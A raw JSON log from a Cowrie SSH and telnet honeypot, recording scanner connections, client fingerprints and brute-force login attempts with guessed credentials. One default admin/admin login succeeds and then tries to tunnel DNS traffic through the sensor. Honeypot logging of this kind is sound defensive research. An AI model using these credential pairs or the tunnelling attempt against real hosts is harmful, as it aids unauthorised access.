{"eventid":"cowrie.session.connect","src_ip":"195.96.139.98","src_port":41403,"dst_ip":"10.17.0.5","dst_port":22,"session":"37b4a2d94401","protocol":"ssh","message":"New connection: 195.96.139.98:41403 (10.17.0.5:22) [session: 37b4a2d94401]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:03:24.499131Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:03:26.499054Z","src_ip":"195.96.139.98","session":"37b4a2d94401","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.96.139.98","src_port":33927,"dst_ip":"10.17.0.5","dst_port":22,"session":"caff33ccdc42","protocol":"ssh","message":"New connection: 195.96.139.98:33927 (10.17.0.5:22) [session: caff33ccdc42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:03:26.566205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:03:26.570527Z","src_ip":"195.96.139.98","session":"caff33ccdc42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:03:26.641872Z","src_ip":"195.96.139.98","session":"caff33ccdc42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:03:26.715651Z","src_ip":"195.96.139.98","session":"caff33ccdc42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.243","src_port":63740,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8fd4dbc5b9d","protocol":"telnet","message":"New connection: 198.235.24.243:63740 (159.203.135.109:23) [session: d8fd4dbc5b9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:03:28.709409Z"}
{"eventid":"cowrie.session.closed","duration":35.95485281944275,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:03:36.352540Z","src_ip":"172.81.62.90","session":"a3c99c611549","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.919680833816528,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:03:38.628964Z","src_ip":"198.235.24.243","session":"d8fd4dbc5b9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":51396,"dst_ip":"10.17.0.5","dst_port":22,"session":"c57a8fad23d0","protocol":"ssh","message":"New connection: 62.133.62.83:51396 (10.17.0.5:22) [session: c57a8fad23d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:03:38.688043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:03:38.692116Z","src_ip":"62.133.62.83","session":"c57a8fad23d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:03:38.770544Z","src_ip":"62.133.62.83","session":"c57a8fad23d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234554","message":"login attempt [root/1234554] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:03:39.008855Z","src_ip":"62.133.62.83","session":"c57a8fad23d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:03:40.093027Z","src_ip":"62.133.62.83","session":"c57a8fad23d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.221.196.103","src_port":59112,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7beb4c71521","protocol":"ssh","message":"New connection: 211.221.196.103:59112 (159.203.135.109:22) [session: c7beb4c71521]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:03:44.878758Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:03:44.887357Z","src_ip":"211.221.196.103","session":"c7beb4c71521","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":38682,"dst_ip":"159.203.135.109","dst_port":23,"session":"e27eb3669554","protocol":"telnet","message":"New connection: 172.81.62.90:38682 (159.203.135.109:23) [session: e27eb3669554]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:04:49.580568Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":35082,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b01b3767d39","protocol":"ssh","message":"New connection: 87.251.79.125:35082 (159.203.135.109:22) [session: 5b01b3767d39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:05:07.460683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:05:07.465220Z","src_ip":"87.251.79.125","session":"5b01b3767d39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:05:07.540215Z","src_ip":"87.251.79.125","session":"5b01b3767d39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"thursday","message":"login attempt [root/thursday] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:05:07.755053Z","src_ip":"87.251.79.125","session":"5b01b3767d39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:05:08.826134Z","src_ip":"87.251.79.125","session":"5b01b3767d39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":38944,"dst_ip":"10.17.0.5","dst_port":22,"session":"8143dfd3ee6a","protocol":"ssh","message":"New connection: 80.94.92.184:38944 (10.17.0.5:22) [session: 8143dfd3ee6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:05:13.005732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:05:13.010987Z","src_ip":"80.94.92.184","session":"8143dfd3ee6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:05:13.399776Z","src_ip":"80.94.92.184","session":"8143dfd3ee6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"validator","message":"login attempt [solv/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:05:14.096076Z","src_ip":"80.94.92.184","session":"8143dfd3ee6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:05:17.115818Z","src_ip":"80.94.92.184","session":"8143dfd3ee6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.37240147590637,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:05:27.952838Z","src_ip":"172.81.62.90","session":"e27eb3669554","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":55816,"dst_ip":"10.17.0.5","dst_port":22,"session":"e174f989a6dc","protocol":"ssh","message":"New connection: 87.251.64.176:55816 (10.17.0.5:22) [session: e174f989a6dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:06:02.403939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:06:02.409895Z","src_ip":"87.251.64.176","session":"e174f989a6dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:06:02.509878Z","src_ip":"87.251.64.176","session":"e174f989a6dc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:06:02.795072Z","src_ip":"87.251.64.176","session":"e174f989a6dc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:06:02.891206Z","session":"e174f989a6dc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:06:02.990849Z","src_ip":"87.251.64.176","session":"e174f989a6dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:06:03.090291Z","src_ip":"87.251.64.176","session":"e174f989a6dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.156.202","src_port":40572,"dst_ip":"159.203.135.109","dst_port":22,"session":"4fa56436c4c5","protocol":"ssh","message":"New connection: 64.62.156.202:40572 (159.203.135.109:22) [session: 4fa56436c4c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:07:30.932602Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:07:30.937133Z","src_ip":"64.62.156.202","session":"4fa56436c4c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:07:30.939907Z","src_ip":"64.62.156.202","session":"4fa56436c4c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":34988,"dst_ip":"159.203.135.109","dst_port":22,"session":"26981ec7a799","protocol":"ssh","message":"New connection: 103.27.238.114:34988 (159.203.135.109:22) [session: 26981ec7a799]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:07:38.054255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:07:38.058714Z","src_ip":"103.27.238.114","session":"26981ec7a799","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:07:38.323439Z","src_ip":"103.27.238.114","session":"26981ec7a799","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"54321qaz","message":"login attempt [root/54321qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:07:39.119363Z","src_ip":"103.27.238.114","session":"26981ec7a799","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:07:40.388122Z","src_ip":"103.27.238.114","session":"26981ec7a799","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":36224,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0b20679e811","protocol":"ssh","message":"New connection: 103.15.222.183:36224 (10.17.0.5:22) [session: c0b20679e811]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:08:13.838846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:08:13.843889Z","src_ip":"103.15.222.183","session":"c0b20679e811","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:08:14.095180Z","src_ip":"103.15.222.183","session":"c0b20679e811","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"121278","message":"login attempt [root/121278] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:08:14.838953Z","src_ip":"103.15.222.183","session":"c0b20679e811","protocol":"ssh"}
